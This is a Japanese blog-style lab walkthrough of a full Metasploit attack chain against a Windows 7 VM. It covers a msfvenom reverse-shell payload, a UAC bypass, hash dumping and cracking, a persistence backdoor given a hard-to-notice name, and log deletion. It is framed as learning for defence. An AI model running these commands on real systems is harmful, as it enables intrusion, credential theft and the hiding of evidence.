ハック技術: Windows7ハック #3 Exploit、情報奪取、権限昇格、バックドア設置、ログ消し編

「[#ゆるいハッキング大会](https://twitter.com/hashtag/%E3%82%86%E3%82%8B%E3%81%84%E3%83%8F%E3%83%83%E3%82%AD%E3%83%B3%E3%82%B0%E5%A4%A7%E4%BC%9A )」に参加した。
ハッキング熱が高まった。

「[ハッキング・ラボのつくりかた](https://www.amazon.co.jp/%E3%83%8F%E3%83%83%E3%82%AD%E3%83%B3%E3%82%B0%E3%83%BB%E3%83%A9%E3%83%9C%E3%81%AE%E3%81%A4%E3%81%8F%E3%82%8A%E3%81%8B%E3%81%9F-%E4%BB%AE%E6%83%B3%E7%92%B0%E5%A2%83%E3%81%AB%E3%81%8A%E3%81%91%E3%82%8B%E3%83%8F%E3%83%83%E3%82%AB%E3%83%BC%E4%BD%93%E9%A8%93%E5%AD%A6%E7%BF%92-IPUSIRON/dp/4798155306)」を勢いで購入。

今回は、ハッキング・ラボの作り方に載っているWindows7のやり方の、
・Exploit
・情報奪取
・権限昇格
・バックドア設置
・ログ消し
の流れ。

## お約束
本記事は、
・防御の為に敵の攻撃を知る
・技術力向上
を目的としている為、記載内容を悪用する事は禁じます。
記載内容を実行した結果として生じた全ての事に、私は一切責任を負いません。

## 環境について

### 0.自分のノートPC
　HP HP Spectre x360 Convertible 13-ac0XX/827E, BIOS F.31 04/27/2017
　Linux dsnote 4.15.0-48-generic #51~16.04.1-Ubuntu SMP Fri Apr 5 12:01:12 UTC 2019 x86_64 GNU/Linux
### 1. KaliLinux
[ハック技術: KaliLinux on Docker - Qiita](https://qiita.com/rivarten/items/2e0c8ee82fdffa848e7d)

### 2. Windows7(攻撃対象)
[ハック技術: Windows7ハック #1 Vagrant VirtualBoxで環境セットアップ編 (on Ubuntu) - Qiita](https://qiita.com/rivarten/items/414ddb9173d6afae3d6b)


## Exploit, 遠隔操作開始まで

### 1. Windows向け, TCP型のリバースシェル, ペイロードの検索
ペイロード: 悪意のある動作をする実行コード

```
# msfconsole

msf > show exploits
msf > search type:payload reverse_tcp platform:windows
...略...
  9   payload/windows/meterpreter/reverse_tcp                                   normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager
...略...
```
payload/windows/meterpreter/reverse_tcpを使う。

### 2. ペイロードの作成

```
msf > msfvenom -p windows/meterpreter/reverse_tcp lhost=172.28.128.1 -f exe -o /root/evil.exe
```
-p : ペイロードのパス
-f : 出力ファイルの形式
-o : 出力ファイルのパス
lhost : ペイロードのオプションの一つ。接続先の指定。

出力されたペイロードを、何とかして攻撃対象に実行してもらう。

### 3. 外部からペイロードにアクセスできるようにする

```
# cd /var/www/html
# mkdir share
# cp /root/evil.exe share/
# chmod -R 755 share
# service apache2 restart
```
windows側からhttp://172.28.128.1/share/ にアクセス。
evil.exeがダウンロード可能か確かめる。


### 4. Kaliで、リバースシェルを待ち受ける

```
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 172.28.128.1
msf exploit(multi/handler) > show options
 設定されているオプションを確認できる。
msf exploit(multi/handler) > run
 プロンプトが返らない設定
```

### 5. ペイロードの実行
Windows側でevil.exeをダウンロードして実行。
Kali側で、meterpreterのプロンプトが返ってくる。

### 6. セッション確立を確認(Windows側

`netstat -n | find "ESTABLISHED"`

### 7. Windows7の遠隔操作開始

```
meterpreter > pwd
meterpreter >  ls
```

## パスワードハッシュ取得

### 1. Windowsのパスワードハッシュ取得の試行

`meterpreter > run hashdump`
Access is denied.が表示される。
侵入しているユーザの権限が低い。

`meterpreter > getsystem`
Access is denied.

`meterpreter > getuid`
Server username: IE11WIN7\IEUser

### 2. 権限昇格モジュールの試行
既に確立されているセッション1を経由でexploitを実行する。

```
meterpreter > background
msf exploit(multi/handler) > 
msf exploit(multi/handler) > sessions -i
msf exploit(multi/handler) > use exploit/windows/local/bypassuac
msf exploit(windows/local/bypassuac) > show options
msf exploit(windows/local/bypassuac) > set session 1
msf exploit(windows/local/bypassuac) > set payload windows/meterpreter/reverse_tcp
msf exploit(windows/local/bypassuac) > set lhost 172.28.128.1
msf exploit(windows/local/bypassuac) > show options
msf exploit(windows/local/bypassuac) > exploit
meterpreter >
　エラーが出ずにmeterpreterプロンプトが返ってくると成功
```

```
meterpreter > getuid
Server username: IE11WIN7\IEUser
meterpreter > getsystem -t 1
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

### 3. 再度、パスワードハッシュ取得の試行

`meterpreter > run hashdump`
パスワードハッシュの行をコピペしてテキストファイルに貼り付けて保存。(hash.txt)

## パスワードクラック

### 1. 辞書式攻撃
辞書式攻撃で見つからなかったら、総当り攻撃をする。

```
# john hash.txt --show
# john --wordlist=/usr/share/john/password.lst --format: nt hash.txt
```
見つからない。

### 2. 実験用で辞書ファイルにパスワード追記して辞書式攻撃

```
# cp /usr/share/john/password.lst .
# echo "Passw0rd!" >> password.lst
# john --wordlist=password.lst --format:nt hash.txt
```
Administratorユーザのパスワードが判明する。

## バックドア設置

### 1. 不要なセッション閉じる

```
meterpreter > background
msf exploit(windows/local/bypassuac) > sessions -i
```
セッション1: 一般ユーザ(タスクマネージャーにevil.exeと表示されている)
セッション2: 特権ユーザ(タスクマネージャーに(ランダムな文字列).exe形式で表示されている
セッション1は不要なので閉じる。

```
msf exploit(windows/local/bypassuac) > sessions -k 1
```

### 2. システム情報の取得

```
msf exploit(windows/local/bypassuac) > sessions 2
meterpreter > run scraper
```
 ~/.msf4/logs/scripts/scraper/<target ip>_(datetime).(number)ディレクトリ以下に保存される。

### 3. システムの内部情報にアクセス

```
meterpreter > shell
C:\Windows\system32 > 
```
で、windowsならcmd.exeを実行可能。

WindowsにはWMI(Windows Management Instrumentation)というWindowsシステムを管理するためのインターフェイスが備わっている。
wmicを使えばWMIにアクセス可能。

```
C:\Windows\system32 > wmic startup
```
で、自動起動の内容を列挙可能。

### 4. バックドアの設置(自動でペイロードが実行されるようにする)

```
meterpreter > run persistence -X -i 60 -P windows/meterpeter/reverse_tcp -p 4444 -r 172.28.128.1
```
or

```
msf exploit(handler) > use exploit/windows/local/persistence
msf exploit(persistence) > show options
msf exploit(persistence) > set exe_name service1(バレにくい名前にする
msf exploit(persistence) > sessions
msf exploit(persistence) > set session 1
msf exploit(persistence) > show advanced
msf exploit(persistence) > set exe::custom /root/evil.exe
msf exploit(persistence) > run
```

SysinternalsのAutorunsでFile>Compareで初期設定で作成したarnファイルを指定すると、差分が表示される。

レジストリにVBSスクリプトのパスが設定されているのと、
そのパスにVBSスクリプトが配置されている事を確認できる。


バックドアの削除には、自動起動のバックドアのレジストリ値を削除し、VBSファイルも削除する。
バックドアがvbsなのは、exeだと実行時の確認ダイアログが出るが、VBSだと出ない。

### 5. 自動起動の確認

Windowsを終了すると、自動的にセッションが閉じる。
リバースシェルの待ち受け状態を作りなおす。
Windowsを再起動する。
IEUser権限でセッションが確立する。

この設定では60秒毎にKali側にセッションを確立しに来る為、その度にVBSから起動したプロセスが立ち上がり、タスクマネージャーに表示されることに注意。


## ログ削除

SYSTEM権限奪取後、clearevコマンドを使う。
`meterpreter > clearev`

eventvwr.mscで確認可能。

ファイル転送が難しい、インストールする暇が無い、などといった状況では、乱暴だがdelコマンドを使う。

```
C:\Windows\system32 > del %WINDIR%\*.log /a /s /q /f
```
/a : 削除ファイルの属性を指定
/s : サブフォルダも対象
/q : ワイルドカード使用時に確認メッセージを表示しない
/f : 読み取り専用ファイルを強制的に削除する

## 他

自動起動に関するレジストリには他にも種類がある。
調べてみると良い。

## おわり

次は、隠蔽化など、ちょっとしたテクニック。
[ハック技術: Windows7ハック #4 隠蔽、その他編 - Qiita](https://qiita.com/rivarten/items/3e49ab9df5b6b0928f0e)